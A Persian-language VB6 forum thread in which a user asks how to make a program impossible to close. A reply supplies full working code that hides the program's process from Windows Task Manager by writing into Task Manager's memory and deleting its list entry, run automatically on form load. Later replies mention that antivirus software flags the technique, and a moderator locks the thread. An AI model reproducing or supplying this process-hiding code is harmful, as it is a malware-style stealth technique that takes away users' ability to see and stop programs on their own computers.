كد جلوگيري از خروج برنامه از حافظه

با سلام خدمت دوستان من يك كد مي خوام كه نذاره برنامه از حافظه ( با Alt + F4 - Task manager) خارج بشه و كاربر بايد ريستارت كنه ممنون

خوب میتونی پروسه برنامت رو از تسک منیجر قایم کنی :

این کد هار داخل یک ماژول بریز .

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Public Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

Public Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long

Public Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long

Public Declare Function WaitForSingleObject Lib "kernel32.dll" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long

Public Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long

Public Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long

Public Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long

Public Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long

Public Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long

Public Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Public Declare Function RegisterServiceProcess Lib "kernel32.dll" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long

Public Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long

Public Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long



Public Type bkh

 flag As Long

 psz As Long

 lParam As Long

 pt As Long

 vkDirection As Long

End Type

و این کد هارو داخل فرم :

Private Sub Hide_Process(Name As String)

    On Error Resume Next

    Dim pName As Long

    Dim pType As Long

    Dim l As Long

    Dim Tid As Long

    Dim hTid As Long

    Dim Pid As Long

    Dim h As Long

    Dim i As Long

    Dim hProcess As Long

    Dim f As bkh

    Dim s As String

    Dim bkh() As Byte



h = FindWindow(vbNullString, "Windows Task Manager")

KillTimer h, 0



h = FindWindowEx(h, 0, "#32770", vbNullString)

h = FindWindowEx(h, 0, "SysListView32", vbNullString)

             

If h = 0 Then Exit Sub

             

f.flag = 8 Or &H20

    

    Call GetWindowThreadProcessId(h, Pid)

    hProcess = OpenProcess(1082, 0, Pid)

              

    bkh = StrConv(Name, vbFromUnicode)

    pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)

    WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l



    f.psz = pName



    pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)

    WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l



    i = SendMessage(h, &H1000 + 13, 0, pType)

    If i <> -1 Then SendMessage h, &H1000 + 8, i, 0

        

    VirtualFreeEx hProcess, pType, Len(f), &H8000

    VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000

    CloseHandle hTid



End Sub





Private Sub Form_Load()

Hide_Process App.EXEName & ".exe"

End Sub

* اول پروژه رو کامپایل کن بعد برنامه رو اجرا کن .

موفق باشی .:لبخندساده:

به فرض این که پروسیس رو قایم کردیم ولی اون وقط انتی ویروس ها خیلی خیلی گیر میدن ولی یه راه دیگه بود یادم نمیاد به وسیله ی ای پی ای بود اگه پیداش کنم میزارم

سلام، موضوع مخفی کردن پروسس در TaskManager که n بار مطرح شده. دیگه لینک نمیدم اینجا رو ببینید.

برای جلوگیری از بسته شدن برنامه هم قبلاً در دو تاپیک دیگه بحث شده.
یکی اینجا:
چه جوری میشه برنامه نوشت که هیچوقت End نشه؟

و دیگری اینجا:
جلوگیری از پایان برنامه در process (بحث را در این تاپیک ادامه دهید)

تاپیک قفل شد/